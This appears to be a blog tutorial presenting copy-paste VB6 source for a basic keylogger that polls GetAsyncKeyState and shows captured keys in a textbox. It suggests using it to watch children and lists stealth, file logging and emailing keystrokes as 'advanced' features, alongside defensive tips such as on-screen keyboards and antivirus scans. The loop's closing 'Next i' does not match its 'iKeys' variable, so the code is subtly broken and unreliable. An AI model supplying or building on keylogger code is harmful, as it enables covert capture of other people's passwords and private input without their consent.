World’s Simplest Key logger using VB6

What is a Keylogger?

A keylogger app is used to record every keystrokes even though it is not in focus i.e., while running at background.

Here this code is coded using VB6 & Win32 API.

It can be used when your kids are operating the computer & you are much worried about what they are working on. Since this can be used for recording the passwords typed in your computer, You should also be aware of such apps & learn how to fight them.

Virtual Keyboards – On Screen Keyboards

It is always better to use the Virtual keyboards when you type Passwords.

If any website does not provide the Virtual keyboard, You can use Windows Default virtual keyboard. This can be invoked by typing OSK in Windows + Run command prompt. OSK means On Screen Keyboard.

Now, Lets move on to the Keylogger. How to code it.

VB6 Key Logger Code

Create a standard exe project in VB6. In the form, add a textbox & a timer.

Then copy paste the below code to your projects code window.

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Dim iKeyState As Integer, iKeys As Integer

Private Sub Form_Load()
    'Enable Timer at Form Load
    Timer1.Interval = 1
    Timer1.Enabled = True
End Sub

Private Sub Timer1_Timer()
    
    'Loop thru All the Keys
    For iKeys = 1 To 255
        iKeyState = 0
        iKeyState = GetAsyncKeyState(iKeys)
        
        'If Key is Pressed, Add it to TextBox
        If iKeyState = -32767 Then
            Text1.Text = Text1.Text + Chr(iKeys)
        End If
    Next i
    
End Sub

Now, if you execute this code a Form will appear with a Text box. Now, open a notepad & type any text in in.

You could see that whatever you type in Notepad is also captured in the Form’s Textbox.

Actual Key Logger

This app is just to show you how a basic Key-logger works. But an advanced keylogger can have these features in it.

  1. Run in stealth mode (sometimes does not even show in task manager)
  2. Stores the keystrokes in a Data or Text file.
  3. Emails it to the person who installed it in your machine.

So, don’t leave any suspicious apps in your machine. Scan it with proper Antivirus apps. Do not download any free app from not so authentic website.

Leave a Reply